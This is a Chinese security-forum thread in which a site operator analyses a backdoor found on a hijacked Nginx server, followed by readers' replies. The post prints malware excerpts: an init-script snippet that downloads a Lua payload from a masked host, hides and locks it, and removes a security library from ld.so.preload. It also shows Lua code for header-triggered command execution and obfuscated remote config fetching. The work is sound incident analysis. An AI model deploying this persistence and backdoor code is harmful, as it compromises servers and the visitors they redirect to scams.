吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1468|回复: 21
上一主题 下一主题
收起左侧

[PC样本分析] 简单分析下网站出现的挂马

  [复制链接]
跳转到指定楼层
楼主
kuank 发表于 2026-7-6 03:21 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 kuank 于 2026-7-6 03:22 编辑

注:文章所有网址皆已手动更改
起初,我收到用户反馈说网站会跳转到其他网站,于是我用电脑测了下nslookup,发现没啥问题,于是没有放在心上,告诉用户说应该是运营商dns劫持了
又过了几天,我偶然一次用手机访问站点,结果发现也被跳转到其他网站,于是开始了排查...

顺带一提,这是当时跳转的截图

首先我用curl在自家电脑对服务器进行外部排查,发现返回为正常的网站,又联想到是手机才能触发,于是使用手机的ua对服务器进行排查,发现会进行跳转,返回结果如下
HTTP/1.1 301 Moved Permanently 
Date: Sat, 04 Jul 2026 15:04:25 GMT 
Content-Type: text/html; charset=UTF-8 
Connection: keep-alive 
Server: cloudflare 
Location: https://xxs32.xxxxx.xyz/dh 
X-Content-Type-Options: nosniff Vary: Accept-Encoding, Cookie 
Expires: Thu, 01 Jan 1970 00:00:00 GMT 
Cache-Control: private, must-revalidate, max-age=0 Last-Modified: Sat, 04 Jul 2026 15:04:25 GMT 
X-Request-Id: 54d8fbe5ce6f1d10818987a0 Strict-Transport-Security: max-age=31536000 
Alt-Svc: h3=":443"; ma=86400 
Cf-Cache-Status: DYNAMIC 
#已删除部分不影响理解的返回


我们可以观察到服务器的返回是给出了一个location块,这正是导致跳转的原因
这个块里的网页的代码目前看下来是在500ms后通过js逻辑跳转到https://153.43.xx.xxx:18028/?cid=9743477
之后,我就去查所有网站的配置目录和全局配置,不过都没有发现跳转的位置
不过经过不少时间的搜索(百度)最后是从nginx的lua脚本发现了一点端倪

/usr/lib64/libnss_http.so.2

这个路径加载了个不应该加载的模块,而且我也没有主动装,于是开始找这个模块是从哪里开始加载的
找到 /etc/init.d/nginx 这个文件,里面就是被大幅度篡改的配置
我们一点点看
if curl -fsSLk -m 5 -k https://pull.xxxx.xyz/ngxd.lua -o "$DIR" > /dev/null 2>&1; then
    chmod 755 "$DIR" > /dev/null 2>&1
    touch -r /etc/passwd "$DIR" > /dev/null 2>&1
    chown www:www "$DIR" > /dev/null 2>&1
    chattr +i "$DIR" > /dev/null 2>&1
fi


本文件首先使用curl从指定的域名下载恶意的lua脚本,同时把时间戳跟 /etc/passwd 进行同步,达到混淆视线的目的
其次使用了 chattr +i 这个属性,使得root用户也无法删除这个文件,必须先使用 chattr -i 解除该属性

我们再来看第二部分
echo -e 'lua_shared_dict lua_cache 10m;
rewrite_by_lua_block {
        local status, diversion = pcall(require, "ngxd")
        if status then
                diversion.process_request()
        end
}' >$VHOST_PATH/_.conf

这段给恶意脚本先分配10mb的内存,以为接下来的攻击做铺垫,同时在nginx配置目录中强行生成 _.conf 的配置文件
一同注入了 rewrite_by_lua_block 使得每个由nginx处理的请求都会先让lua脚本进行处理

第三部分
Preload_PATH="/etc/ld.so.preload"
if [ -f "$Preload_PATH" ]; then
    if grep -q "libusranalyse" "$Preload_PATH" 2>/dev/null; then
        chattr -i "$Preload_PATH" 2>/dev/null
        sed -i '/libusranalyse/d' "$Preload_PATH" 2>/dev/null
    fi
fi

这段会检查 /etc/ld.so.preload 这个文件中是否包含 libusranalyse(后者是宝塔的主机防入侵的杀毒软件)
如果存在,代码会通过 chattr -i 解锁该文件,然后用 sed -i 将其卸载

同时,该代码还会加载核心后门的lua模块
prepare_nginx_conf
export LD_PRELOAD=/usr/lib64/libnss_http.so.2
$NGINX_BIN -c $CONFIGFILE

这段是在启动nginx程序之前,通过环境变量强制加载 /usr/lib64/libnss_http.so.2 这个动态库

接下来讲这个动态库
还是分部分讲
第一部分
[Lua] 纯文本查看 复制代码
local cmd = headers[command_header] 
if cmd then
    if not verify_command_request_signature(cmd, headers, cfg) then
        return true 
    end
    -- 源码已经过清洗
    local result = execute_command(cmd)
    ngx.header.content_type = "text/plain"
    ngx.say(result) 
    ngx.exit(ngx.HTTP_OK)
end


这段代码写了当入侵者向你的网站发送带有特制请求头的请求时,只有用黑客私钥签名的命令才能通过 verify_command_request_signature 的验证
一旦通过了验证,黑客就能以运行nginx用户的权限在你的服务器上执行任意系统命令

第二部分
[Lua] 纯文本查看 复制代码
local function load_config()
    if not should_update_config() then return get_config() end
    
    local machine_id = refresh_machine_id() 
    local config_url = "https:/".."/pull.xxx".."a.x".."yz/lR0jM7tM.php?sid=" .. machine_id
    
    local content = fetch_remote_content(config_url) 
    if not content or content == "" then return get_config() end
    
    local new_config = parse_simple_config(content)

这里这个恶意脚本使用了字符串拼接,目的是绕过大部分安全软件的静态关键词扫描
同时代码还上传了你服务器的 machine_id 入侵者可以在自己的后台针对不同的肉鸡服务器,下发不同的诈骗内容

第三部分
[Lua] 纯文本查看 复制代码
    if device == "android" then
        ratio = cfg.android_ratio
    elseif device == "iphone" then
        ratio = cfg.iphone_ratio
    else
        ratio = cfg.pc_ratio
    end
    
    if ratio <= 0 then
        return false
    end
    for i = 1, 3 do math.random() end
    local random_num = math.random(1, 100)
    if random_num > ratio then
        return false
    end

在代码的默认配置中,电脑端用户被设置为完全不劫持(也就是概率为0),而手机端,例如安卓,跳转概率是10%
这也解释了为什么我用自己的电脑测试网站一切正常,但用户和我的手机访问却有时可以有时不行

此外该恶意脚本还有许多恶意行为在这篇文章没有指出,大家可以自行查看源码来了解脚本的大致行为
下载压缩包 nginx.zip (8.66 KB, 下载次数: 4)
压缩包密码 202652Pojie
有错请联系改正

参考资料
Nginx 隐藏 Lua 后门:手机访问自动跳转恶意域名完整修复实录
一次真实服务器失陷事件:从手机访问异常跳转,到挖出隐藏在 Nginx 中的 Lua 后门

免费评分

参与人数 6吾爱币 +5 热心值 +4 收起 理由
IcePlume + 1 + 1 我很赞同!
gugouo163 + 1 用心讨论,共获提升!
danielau + 1 用心讨论,共获提升!
蛋疼王子 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
AG6 + 1 我很赞同!
唐小样儿 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
cick 发表于 2026-7-6 10:03
我之前就是在网站被拿了webshell,网站直接流量异常,然后排查代码给修改了。刚开始我是后台阿里安全组禁用ip,先查服务器ip在晚上看后半夜没啥正常用户。看到一个封一个ip 不然都登录不上去。然后安装了个fail2ban直接规则拉黑下。在释放。  最后在去修复费代码,排查了好久 就是找不到原因。最后发现被人cc。代码修复隔了一个阶段又有了。然后一个个文件排查然后改了定时跳转在远程下载。 。说实话排查我们又没啥技术,小白站太难了。有ai虽好,有没有银子 不然直接claude自己去排了
,这个也学习了下排查思路了挺好。
推荐
sesine 发表于 2026-7-6 09:38
这种设置了概率和设备判断的,还真的挺难排查。
“不过经过不少时间的搜索(百度)” - 现在AI很方便了,不如直接交给AI来排查问题。
沙发
ckwu433 发表于 2026-7-6 06:48
是啊,这个之前也遇到过,整了好几天,挨个检查才发现的,
3#
RS水果 发表于 2026-7-6 07:21
首先要解决的是,黑客是怎么进入服务器的
4#
hyxk 发表于 2026-7-6 07:31
这种事情是碰到过,头脑有限说实在自己没整明白看你这些说也是懵的。
5#
cnyjh 发表于 2026-7-6 07:55
只是发现和删除,还需要从源头封堵服务器被入侵漏洞。
6#
Sandyang 发表于 2026-7-6 08:35
这方法也够强的,很多人开发的后台就因为这种拼接式的后门,特定构成方式形成源头
7#
feichexia 发表于 2026-7-6 08:35
开发个小程序验证网站
8#
wu20080808 发表于 2026-7-6 08:43
我还是没搞明白,你们太厉害了  
9#
newluck2009 发表于 2026-7-6 09:09
分析得比较透彻,从中也能多学到有用的东西,感谢楼主的分享。
10#
chenguilin 发表于 2026-7-6 09:27
经历过一次 很好的思路 学习到了

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-7-7 04:34

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表